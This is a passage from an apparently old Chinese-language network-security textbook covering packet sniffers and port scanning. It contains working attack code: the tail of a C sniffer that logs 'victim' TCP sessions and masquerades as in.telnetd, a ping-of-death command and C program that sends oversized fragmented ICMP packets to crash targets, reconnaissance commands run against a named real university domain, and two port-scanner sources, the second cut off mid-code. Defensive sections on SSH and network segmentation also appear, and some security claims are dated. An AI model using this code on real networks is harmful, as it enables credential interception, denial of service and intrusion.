fprintf(fp, "/n----- [RST]/n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "/n----- [FIN]/n");
clear_victim();
return 0;
}
return 1;
}

int print_header(void)
{
fprintf(fp, "/n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]/n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
int i=0;
int t=0;

victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "/n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "/n");}
}
}

main(int argc, char **argv)
{
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log/n");exit(0);}
clear_victim();
for(;
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}

char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;

i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);

return blah;
}

void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}

void cleanup(int sig)
{
fprintf(fp, "Exiting.../n");
close(s);
fclose(fp);
exit(0);
}

下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。
它们在头文件中的定义如下:
struct ethhdr
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};

struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix < bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};

struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#else
#error "Adjust your < bits/endian.h> defines"
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。
随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;

union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
__caddr_t ifru_data;
} ifr_ifru;
};
这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。
  如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。
再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。
接下来的程序是将数据输出到文件中去。
函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。
第三节 怎样在一个网络上发现一个sniffer
  简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。
  只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。
  在Unix系统下使用下面的命令:
    ps -aux
  或:
    ps -augx
这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。
在Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。
  另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。
  还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。

怎样防止被sniffer
  要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。
  你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。

加密
  我们介绍以下SSH,它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。
  SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。
  如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。
  SSH和F-SSH都有商业或自由软件版本存在。NT are available.

还有其他的方法吗?
  另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。
  玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。
  下面是一些规则:
   一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。
  这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。
  注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。
  所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。
如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。
Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。

第七章 端口扫描
  一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以用端口扫描软件进行。
  在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时,许多扫描器软件都有分析数据的功能。
  通过端口扫描,可以得到许多有用的信息,从而发现系统的安全漏洞。
  下面首先介绍几个常用网络命令,对端口扫描原理进行介绍,然后提供一个简单的扫描程序。
第一节 几个常用网络相关命令
Ping命令经常用来对TCP/IP网络进行诊断。通过目标计算机发送一个数据包,让它将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING命令成功了。通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数据包从发送到返回需要多少时间。

Ping命令的基本格式:
ping hostname

  其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。
C:> ping -f hostname
  这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法:
c:/windows/ping -l 65510 saddam_hussein's.computer.mil
  这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。
  在Linux计算机上,可以编写一个程序来实现上述方法。
#include < stdio.h>
#include < sys/types.h>
#include < sys/socket.h>
#include < netdb.h>
#include < netinet/in.h>
#include < netinet/in_systm.h>
#include < netinet/ip.h>
#include < netinet/ip_icmp.h>

/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname/n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host/n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}

printf("Sending to %s/n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO < < 8));
/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}

Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径,比方说从你的计算机走到浙江信息超市。在DOS窗口下,命令如下:
C:/WINDOWS>tracert 202.96.102.4

Tracing route to 202.96.102.4 over a maximum of 30 hops
1 84 ms 82 ms 95 ms 202.96.101.57 2 100 ms 100 ms 95 ms 0fa1.1-rtr1-a-hz1.zj.CN.NET [202.96.101.33] 3 95 ms 90 ms 100 ms 202.101.165.1 4 90 ms 90 ms 90 ms 202.107.197.98 5 95 ms 90 ms 99 ms 202.96.102.4 6 90 ms 95 ms 100 ms 202.96.102.4
Trace complete.
  上面的这些输出代表什么意思?左边的数字是该路由通过的计算机数目。"150 ms"是指向那台计算机发送消息的往返时间,单位是微秒。由于每条消息每次的来回的时间不一样,tracert将显示来回时间三次。"*"表示来回时间太长,tracert将这个时间“忘掉了”。在时间信息到来后,计算机的名字信息也到了。开始是一种便于人们阅读的格式, 接着是数字格式。

C:/WINDOWS>tracert 152.163.199.56

Tracing route to dns-aol.ANS.NET [198.83.210.28]over a maximum of 30 hops:
1 124 ms 106 ms 105 ms 202.96.101.57 2 95 ms 95 ms 90 ms 0fa1.1-rtr1-a-hz1.zj.CN.NET [202.96.101.33] 3 100 ms 90 ms 100 ms 202.101.165.1 4 90 ms 95 ms 95 ms 202.97.18.241 5 105 ms 105 ms 100 ms 202.97.18.93 6 100 ms 99 ms 100 ms 202.97.10.37 7 135 ms 98 ms 100 ms 202.97.9.78 8 760 ms 725 ms 768 ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53] 9 730 ms 750 ms 715 ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53] 10 750 ms 785 ms 772 ms 144.232.11.9 11 740 ms 800 ms 735 ms sl-bb11-pen-2-0.sprintlink.NET [144.232.8.158] 12 790 ms 800 ms 735 ms sl-nap2-pen-4-0-0.sprintlink.net [144.232.5.66] 13 770 ms 800 ms 800 ms p219.t3.ans.net [192.157.69.13] 14 775 ms 820 ms 780 ms h14-1.t60-6.Reston.t3.ANS.NET [140.223.17.18] 15 780 ms 800 ms 800 ms h11-1.t60-2.Reston.t3.ANS.NET [140.223.25.34] 16 790 ms 795 ms 800 ms h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18] 17 * h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18] reports: Destination host unreachable.
Trace complete.

rusers和finger
  这两个都是Unix命令。通过这两个命令,你能收集到目标计算机上的有关用户的消息。
使用rusers命令,产生的结果如下示意:
gajake snark.wizard.com:ttyp1 Nov 13 15:42 7:30 (remote)
root snark.wizard.com:ttyp2 Nov 13 14:57 7:21 (remote)
robo snark.wizard.com:ttyp3 Nov 15 01:04 01 (remote)
angel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote)
pippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote)
root snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote)
gajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote)
dafr snark.wizard.com:ttyp15Nov 3 20:09 4:55 (remote)
dafr snark.wizard.com:ttyp1 Nov 14 06:12 19:12 (remote)
dafr snark.wizard.com:ttyp19Nov 14 06:12 19:02 (remote)

  最左边的是通过远程登录的用户名。还包括上次登录时间,使用的SHELL类型等等信息。
  使用finger可以产生类似下面的结果:
user S00 PPP ppp-122-pm1.wiza Thu Nov 14 21:29:30 - still logged in
user S15 PPP ppp-119-pm1.wiza Thu Nov 14 22:16:35 - still logged in
user S04 PPP ppp-121-pm1.wiza Fri Nov 15 00:03:22 - still logged in
user S03 PPP ppp-112-pm1.wiza Thu Nov 14 22:20:23 - still logged in
user S26 PPP ppp-124-pm1.wiza Fri Nov 15 01:26:49 - still logged in
user S25 PPP ppp-102-pm1.wiza Thu Nov 14 23:18:00 - still logged in
user S17 PPP ppp-115-pm1.wiza Thu Nov 14 07:45:00 - still logged in
user S-1 0.0.0.0 Sat Aug 10 15:50:03 - still logged in
user S23 PPP ppp-103-pm1.wiza Fri Nov 15 00:13:53 - still logged in
user S12 PPP ppp-111-pm1.wiza Wed Nov 13 16:58:12 - still logged in
  这个命令能显示用户的状态。该命令是建立在客户/服务模型之上的。用户通过客户端软件向服务器请求信息,然后解释这些信息,提供给用户。在服务器上一般运行一个叫做fingerd的程序,根据服务器的机器的配置,能向客户提供某些信息。如果考虑到保护这些个人信息的话,有可能许多服务器不提供这个服务,或者只提供一些无关的信息。

host命令
  host是一个Unix命令,它的功能和标准的nslookup查询一样。唯一的区别是host命令比较容易理解。host命令的危险性相当大,下面举个使用实例,演示一次对bu.edu的host查询。
host -l -v -t any bu.edu
  这个命令的执行结果所得到的信息十分多,包括操作系统,机器和网络的很多数据。先看一下基本信息:
Found 1 addresses for BU.EDU
Found 1 addresses for RS0.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU
Trying 128.197.27.7
bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU(
961112121 ;serial (version)
900 ;refresh period
900 ;retry refresh this often
604800 ;expiration period
86400 ;minimum TTL
)
bu.edu 86400 IN NS SOFTWARE.BU.EDU
bu.edu 86400 IN NS RS.INTERNIC.NET
bu.edu 86400 IN NS NSEGC.BU.EDU
bu.edu 86400 IN A 128.197.27.7

  这些本身并没有危险,只是一些机器和它们的DNS服务器。这些信息可以用WHOIS或在注册域名的站点中检索到。但看看下面几行信息:
bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/41 UNIX
PPP-77-25.bu.edu 86400 IN A 128.197.7.237
PPP-77-25.bu.edu 86400 IN HINFO PPP-HOST PPP-SW
PPP-77-26.bu.edu 86400 IN A 128.197.7.238
PPP-77-26.bu.edu 86400 IN HINFO PPP-HOST PPP-SW
ODIE.bu.edu 86400 IN A 128.197.10.52
ODIE.bu.edu 86400 IN MX 10 CS.BU.EDU
ODIE.bu.edu 86400 IN HINFO DEC-ALPHA-3000/300LX OSF1

从这里,我们马上就发现一台EDC Alpha运行的是OSF1操作系统。在看看:
STRAUSS.bu.edu 86400 IN HINFO PC-PENTIUM DOS/WINDOWS
BURULLUS.bu.edu 86400 IN HINFO SUN-3/50 UNIX (Ouch)
GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-OS
CHEEZWIZ.bu.edu 86400 IN HINFO SGI-INDIGO-2 UNIX
POLLUX.bu.edu 86400 IN HINFO SUN-4/20-SPARCSTATION-SLC UNIX
SFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS
UH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS
SOFTWARE.bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX
CABMAC.bu.edu 86400 IN HINFO MACINTOSH MAC-OS
VIDUAL.bu.edu 86400 IN HINFO SGI-INDY IRIX
KIOSK-GB.bu.edu 86400 IN HINFO GATORBOX GATORWARE
CLARINET.bu.edu 86400 IN HINFO VISUAL-X-19-TURBO X-SERVER
DUNCAN.bu.edu 86400 IN HINFO DEC-ALPHA-3000/400 OSF1
MILHOUSE.bu.edu 86400 IN HINFO VAXSTATION-II/GPX UNIX
PSY81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95
BUPHYC.bu.edu 86400 IN HINFO VAX-4000/300 OpenVMS

  可见,任何人都能通过在命令行里键入一个命令,就能收集到一个域里的所有计算机的重要信息。而且只化了3秒时间。
  我们利用上述有用的网络命令,可以收集到许多有用的信息,比方一个域里的名字服务器的地址,一台计算机上的用户名,一台服务器上正在运行什么服务,这个服务是哪个软件提供的,计算机上运行的是什么操作系统。
  如果你知道目标计算机上运行的操作系统和服务应用程序后,就能利用已经发现的他们的漏洞来进行攻击。如果目标计算机的网络管理员没有对这些漏洞及时修补的话,入侵者能轻而易举的闯入该系统,获得管理员权限,并留下后门。
  如果入侵者得到目标计算机上的用户名后,能使用口令破解软件,多次试图登录目标计算机。经过尝试后,就有可能进入目标计算机。得到了用户名,就等于得到了一半的进入权限,剩下的只是使用软件进行攻击而已。
第二节 端口扫描器源程序
什么是扫描器
  扫描器是一种自动检测远程或本地主机安全性弱点的程序,通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本!这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

工作原理
  扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法,可以搜集到很多关于目标主机的各种有用的信息(比如:是否能用匿名登陆!是否有可写的FTP目录,是否能用TELNET,HTTPD是用ROOT还是nobady在跑!)

扫描器能干什么?
  扫描器并不是一个直接的攻击网络漏洞的程序,它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析,帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。
  扫描器应该有三项功能:发现一个主机或网络的能力;一旦发现一台主机,有发现什么服务正运行在这台主机上的能力;通过测试这些服务,发现漏洞的能力。
  编写扫描器程序必须要很多TCP/IP程序编写和C, Perl和或SHELL语言的知识。需要一些Socket编程的背景,一种在开发客户/服务应用程序的方法。开发一个扫描器是一个雄心勃勃的项目,通常能使程序员感到很满意。
  下面对常用的端口扫描技术做一个介绍。
TCP connect() 扫描
  这是最基本的TCP扫描。操作系统提供的connect()系统调用,用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态,那么connect()就能成功。否则,这个端口是不能用的,即没有提供服务。这个技术的一个最大的优点是,你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度。如果对每个目标端口以线性的方式,使用单独的connect()调用,那么将会花费相当长的时间,你可以通过同时打开多个套接字,从而加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期,同时观察多个套接字。但这种方法的缺点是很容易被发觉,并且被过滤掉。目标计算机的logs文件会显示一连串的连接和连接是出错的服务消息,并且能很快的使它关闭。

TCP SYN扫描
  这种技术通常认为是“半开放”扫描,这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包,好象准备打开一个实际的连接并等待反应一样(参考TCP的三次握手建立一个TCP连接的过程)。一个SYN|ACK的返回信息表示端口处于侦听状态。一个RST返回,表示端口没有处于侦听态。如果收到一个SYN|ACK,则扫描程序必须再发送一个RST信号,来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录。但这种方法的一个缺点是,必须要有root权限才能建立自己的SYN数据包。

TCP FIN 扫描
  有的时候有可能SYN扫描都不够秘密。一些防火墙和包过滤器会对一些指定的端口进行监视,有的程序能检测到这些扫描。相反,FIN数据包可能会没有任何麻烦的通过。这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面,打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系。有的系统不管端口是否打开,都回复RST,这样,这种扫描方法就不适用了。并且这种方法在区分Unix和NT时,是十分有用的。

IP段扫描
  这种不能算是新方法,只是其它技术的变化。它并不是直接发送TCP探测数据包,是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包,从而过滤器就很难探测到。但必须小心。一些程序在处理这些小数据包时会有些麻烦。

TCP 反向 ident扫描
  ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名,即使这个连接不是由这个进程开始的。因此你能,举个例子,连接到http端口,然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。

FTP 返回攻击
  FTP协议的一个有趣的特点是它支持代理(proxy)FTP连接。即入侵者可以从自己的计算机a.com和目标主机target.com的FTP server-PI(协议解释器)连接,建立一个控制通信连接。然后,请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给Internet上任何地方发送文件。对于一个User-DTP,这是个推测,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的。但现在这个方法好象不行了。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻,给许多服务器造成打击,用尽磁盘,企图越过防火墙”。
  我们利用这个的目的是从一个代理的FTP服务器来扫描TCP端口。这样,你能在一个防火墙后面连接到一个FTP服务器,然后扫描端口(这些原来有可能被阻塞)。如果FTP服务器允许从一个目录读写数据,你就能发送任意的数据到发现的打开的端口。
  对于端口扫描,这个技术是使用PORT命令来表示被动的User DTP正在目标计算机上的某个端口侦听。然后入侵者试图用LIST命令列出当前目录,结果通过Server-DTP发送出去。如果目标主机正在某个端口侦听,传输就会成功(产生一个150或226的回应)。否则,会出现"425 Can't build data connection: Connection refused."。然后,使用另一个PORT命令,尝试目标计算机上的下一个端口。这种方法的优点很明显,难以跟踪,能穿过防火墙。主要缺点是速度很慢,有的FTP服务器最终能得到一些线索,关闭代理功能。

这种方法能成功的情景:
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready

这种方法不能成功的情景:
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

UDP ICMP端口不能到达扫描
  这种方法与上面几种方法的不同之处在于使用的是UDP协议。由于这个协议很简单,所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送一个确认,关闭的端口也并不需要发送一个错误数据包。幸运的是,许多主机在你向一个未打开的UDP端口发送一个数据包时,会返回一个ICMP_PORT_UNREACH错误。这样你就能发现哪个端口是关闭的。UDP和ICMP错误都不保证能到达,因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的,因为RFC对ICMP错误消息的产生速率做了规定。同样,这种扫描方法需要具有root权限。

UDP recvfrom()和write() 扫描
  当非root用户不能直接读到端口不能到达错误时,Linux能间接地在它们到达时通知用户。比如,对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时,如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时,返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。


ICMP echo扫描
  这并不是真正意义上的扫描。但有时通过ping,在判断在一个网络上主机是否开机时非常有用。
  前面几章基础知识介绍已经为这里的编程作了准备了。
  下面是一个端口扫描器的源程序,功能相当的简单,一个典型的TCP connect()扫描。没有对返回的数据进行分析。
#include < stdio.h>
#include < sys/socket.h>
#include < netinet/in.h>
#include < errno.h>
#include < netdb.h>
#include < signal.h>

int main(int argc, char **argv)
{
int probeport = 0;
struct hostent *host;
int err, i, net;
struct sockaddr_in sa;

if (argc != 2) {
printf("用法: %s hostname/n", argv[0]);
exit(1);
}

for (i = 1; i < 1024; i++) { //这里有点不是很好,可以将主机地址放在循环外
strncpy((char *)&sa, "", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
sa.sin_addr.s_addr = inet_addr(argv[1]);
else if ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
else {
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net < 0) {
perror("/nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) &sa, sizeof sa);
if (err < 0) {
printf("%s %-5d %s/r", argv[1], i, strerror(errno));
fflush(stdout);
} else {
printf("%s %-5d accepted. /n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("/nshutdown");
exit(2);
}
}
close(net);
}
printf(" /r");
fflush(stdout);
return (0);
}
下面这个又是一个端口器:
#include < stdio.h>
#include < sys/types.h>
#include < sys/socket.h>
#include "netdb.h"
struct hostent *gethostbyaddr();
void bad_addr();
main(argc, argv)
int argc;
char *argv[];
{
char addr[4];
int i, j,
a0, a1, a2, a3,
c,
classB, classC, single, hex;
char *fmt = "%d.%d.%d";
char **ptr;
struct hostent *host;
extern char *optarg;
classB = classC = single = hex = 0;
while((c = getopt(argc,argv,"bcsx")) != EOF) {
switch(c) {
case 'b':
classB++;
break;
case 'c':
classC++;
break;
case 's':
single++;
break;
case 'x':
hex++;
break;
}
}
if(classB == 0 && classC == 0 && single == 0) {
fprintf(stderr, "usage: %s [-b||-c||-s] [-x] xxx.xxx[.xxx[.xxx]]/n", argv[0]);
exit(1);
}
if(classB)
if(hex) {
fmt = "%x.%x";
sscanf(argv[3], fmt, &a0, &a1);
} else {
fmt = "%d.%d";
sscanf(argv[2], fmt, &a0, &a1);
}
else if(classC)
if(hex) {
fmt = "%x.%x.%x";
sscanf(argv[3], fmt, &a0, &a1, &a2);
} else {
fmt = "%d.%d.%d";
sscanf(argv[2], fmt, &a0, &a1, &a2);
}
else if(single)
if(hex) {
fmt = "%x.%x.%x.%x";
sscanf(argv[3], fmt, &a0, &a1, &a2, &a3);
} else {
fmt = "%d.%d.%d.%d";
sscanf(argv[2], fmt, &a0, &a1, &a2, &a3);
}
sscanf(argv[1], fmt, &a0, &a1, &a2);
addr[0] = (unsigned char)a0;
addr[1] = (unsigned char)a1;
if(a0>255||a0< 0)
bad_addr(a0);
if(a1>255||a1< 0)
bad_addr(a1);
if(classB) {
if(hex)
